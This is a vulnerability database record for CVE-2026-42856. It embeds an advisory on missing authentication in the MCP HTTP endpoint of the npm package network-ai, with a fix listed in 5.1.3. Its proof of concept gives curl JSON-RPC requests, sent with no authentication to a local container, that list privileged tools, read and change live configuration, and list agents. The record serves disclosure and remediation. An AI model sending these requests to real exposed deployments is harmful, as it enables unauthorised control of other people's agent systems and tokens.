{"id":"CVE-2026-42856","aliases":["GHSA-fj4g-2p96-q6m3"],"url":"https://o3.security/vulnerability/CVE-2026-42856","summary":"Network-AI: Missing authentication on MCP HTTP endpoint allows unauthenticated privileged tool calls","details":"# Security Advisory: Missing Authentication for Critical Function in `Jovancoding/Network-AI`\n\n| Field | Value |\n|---|---|\n| Project | `Jovancoding/Network-AI` |\n| Repository | https://github.com/Jovancoding/Network-AI |\n| Affected commit | `c344f2053eb0d49395988f803bf92f2a86b2a0d0` |\n| Affected tested version | `5.1.2` |\n| Vulnerability type | CWE-306: Missing Authentication for Critical Function |\n| Severity | High |\n| Authentication required | None |\n| Default network exposure | Bind address `0.0.0.0` |\n| Reporter validation date | 2026-04-21 |\n\n## Summary\n\nThe MCP HTTP transport accepts JSON-RPC `tools/call` requests with no authentication, session, origin, or token check, and dispatches them directly to the orchestrator's tool registry. The default bind address is `0.0.0.0`. As a result, any party with network reachability to the service can enumerate and invoke privileged management tools — including reading and mutating the live orchestrator configuration, listing registered agents, dispatching agents, creating/revoking security tokens, and adjusting global budget ceilings.\n\n## Affected Code\n\n- `bin/mcp-server.ts:75` — server binds to `0.0.0.0` by default.\n- `lib/mcp-transport-sse.ts:155` — `handleRPC()` dispatches `tools/call` directly to the provider's `call(toolName, toolArgs)`.\n- `lib/mcp-transport-sse.ts:379` — `_handlePost()` parses the JSON-RPC body and calls `this._bridge.handleRPC(rpc)` with no auth check.\n- `lib/mcp-tools-control.ts:80` — `config_get` exposes live runtime configuration.\n- `lib/mcp-tools-control.ts:197` — `agent_list` exposes registered agents.\n- `lib/mcp-tools-control.ts:231` — `config_set` mutates runtime configuration in place: `this._config[key] = parsed`.\n\n## Proof of Concept\n\nThe PoC was executed against a local Docker build of the affected commit, bound to `http://localhost:13001`. **No authentication header was sent.** All inner-JSON excerpts below are decoded from the JSON-RPC `result.content[0].text` field for readability; the raw wire transcripts (which contain the literal escaped JSON-RPC envelope) are in `evidence/`.\n\n### Step 1 — list exposed tools (unauthenticated)\n\n```bash\ncurl http://localhost:13001/tools\n```\n\n`HTTP/1.1 200 OK` — body returned 22 tools. Privileged tools observed in the inventory include:\n\n- `config_get`, `config_set` — read and mutate live orchestrator configuration\n- `agent_list`, `agent_spawn`, `agent_stop` — enumerate, dispatch, and stop agents\n- `token_create`, `token_revoke` — mint and revoke security tokens\n- `budget_set_ceiling` — adjust the global token budget ceiling\n- `fsm_transition` — drive finite-state-machine transitions\n- `blackboard_write`, `blackboard_delete` — mutate the shared blackboard\n\nFull transcript: `evidence/01_get_tools.txt`.\n\n### Step 2 — read live configuration (unauthenticated)\n\n```bash\ncurl http://localhost:13001/mcp \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"tools/call\",\"params\":{\"name\":\"config_get\",\"arguments\":{}}}'\n```\n\n`HTTP/1.1 200 OK` — decoded inner JSON:\n\n```json\n{\n  \"ok\": true,\n  \"tool\": \"config_get\",\n  \"data\": {\n    \"blackboardPath\": \"./swarm-blackboard.md\",\n    \"maxParallelAgents\": null,\n    \"defaultTimeout\": 30000,\n    \"enableTracing\": true,\n    \"grantTokenTTL\": 300000,\n    \"maxBlackboardValueSize\": 1048576,\n    \"auditLogPath\": \"./data/audit_log.jsonl\",\n    \"trustConfigPath\": \"./data/trust_levels.json\"\n  }\n}\n```\n\nFull transcript: `evidence/02_config_get_before.txt`.\n\n### Step 3 — mutate live configuration (unauthenticated)\n\n```bash\ncurl http://localhost:13001/mcp \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"jsonrpc\":\"2.0\",\"id\":2,\"method\":\"tools/call\",\"params\":{\"name\":\"config_set\",\"arguments\":{\"key\":\"defaultTimeout\",\"value\":\"12345\"}}}'\n```\n\n`HTTP/1.1 200 OK` — decoded inner JSON:\n\n```json\n{\n  \"ok\": true,\n  \"tool\": \"config_set\",\n  \"data\": {\n    \"key\": \"defaultTimeout\",\n    \"previous\": 30000,\n    \"current\": 12345,\n    \"applied\": true\n  }\n}\n```\n\nFull transcript: `evidence/03_config_set.txt`.\n\n### Step 4 — confirm mutation persisted (unauthenticated)\n\n```bash\ncurl http://localhost:13001/mcp \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"jsonrpc\":\"2.0\",\"id\":3,\"method\":\"tools/call\",\"params\":{\"name\":\"config_get\",\"arguments\":{}}}'\n```\n\n`HTTP/1.1 200 OK` — decoded inner JSON (relevant key only):\n\n```json\n{\n  \"ok\": true,\n  \"tool\": \"config_get\",\n  \"data\": {\n    \"defaultTimeout\": 12345\n  }\n}\n```\n\nThis proves the runtime change applied by step 3 is observable on the next read. Full transcript: `evidence/04_config_get_after.txt`.\n\n### Step 5 — enumerate registered agents (unauthenticated)\n\n```bash\ncurl http://localhost:13001/mcp \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"jsonrpc\":\"2.0\",\"id\":4,\"method\":\"tools/call\",\"params\":{\"name\":\"agent_list\",\"arguments\":{}}}'\n```\n\n`HTTP/1.1 200 OK` — decoded inner JSON:\n\n```json\n{\n  \"ok\": true,\n  \"tool\": \"agent_list\",\n  \"data\": {\n    \"agents\": [],\n    \"count\": 0\n  }\n}\n```\n\nThis is a privileged management read; the empty array reflects the test environment, not a control. Full transcript: `evidence/05_agent_list.txt`.\n\n### Cleanup — runtime state restored\n\nAfter the PoC, `defaultTimeout` was restored to `30000` via the same unauthenticated `config_set` (`previous\":12345,\"current\":30000,\"applied\":true`). All testing was performed against a local Docker container only.\n\n## Impact\n\n- Unauthenticated network access enables full enumeration and invocation of the orchestrator's management functionality.\n- An attacker can change runtime configuration (e.g., `defaultTimeout`, `enableTracing`), dispatch or stop agents, mutate the shared blackboard, mint or revoke security tokens, and adjust global budget ceilings.\n- The default `0.0.0.0` bind, combined with the absence of any auth gate, increases the likelihood of accidental exposure on any host with a routable interface.\n\n## Suggested Remediation\n\n1. Enforce authentication inside `_handlePost()` before reaching `handleRPC()`. At a minimum, require a shared secret / bearer token loaded from configuration; reject any request that does not present it.\n2. Default the bind address to `127.0.0.1`. Require an explicit configuration opt-in to bind to non-loopback interfaces, and warn on startup when binding outside loopback without an authentication mechanism configured.\n3. For tool-level defense in depth, gate state-mutating tools (`config_set`, `agent_spawn`, `agent_stop`, `token_create`, `token_revoke`, `budget_set_ceiling`, `fsm_transition`, `blackboard_write`, `blackboard_delete`) behind an explicit authorization check tied to a verified caller identity.\n\n## Verification Environment\n\n- Local Docker container only; no third-party deployment was tested.\n- Local build required a minimal Dockerfile fix; the application code path under test was not modified.\n- Runtime state (`defaultTimeout`) was restored to default after the PoC.\n\n## Attached Evidence\n\nFiles in `evidence/` are raw `curl -i` transcripts captured during the verification sequence above. They are provided as supplementary backup; the key excerpts are already inlined in this report.\n\n| File | Purpose |\n|---|---|\n|[01_get_tools.txt](https://github.com/user-attachments/files/26950583/01_get_tools.txt) | Step 1 — full `GET /tools` request and 22-tool inventory response |\n|[02_config_get_before.txt](https://github.com/user-attachments/files/26950584/02_config_get_before.txt) | Step 2 — full `config_get` request and live configuration response |\n|[03_config_set.txt](https://github.com/user-attachments/files/26950585/03_config_set.txt) | Step 3 — full `config_set` request mutating `defaultTimeout` |\n|[04_config_get_after.txt](https://github.com/user-attachments/files/26950586/04_config_get_after.txt)| Step 4 — full `config_get` request showing the mutation persisted |\n| [05_agent_list.txt](https://github.com/user-attachments/files/26950587/05_agent_list.txt) | Step 5 — full `agent_list` request and response |","published":"2026-05-11T17:42:35.260Z","modified":"2026-08-12T03:51:23.252100655Z","cvss":null,"epss":{"score":0.00471,"percentile":0.38631,"asOf":"2026-08-14"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"network-ai","fixedVersion":"5.1.3"}],"fix":null,"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/42xxx/CVE-2026-42856.json"},{"type":"ADVISORY","url":"https://github.com/Jovancoding/Network-AI/security/advisories/GHSA-fj4g-2p96-q6m3"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42856"},{"type":"PACKAGE","url":"https://github.com/Jovancoding/Network-AI"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:23.252100655Z"}}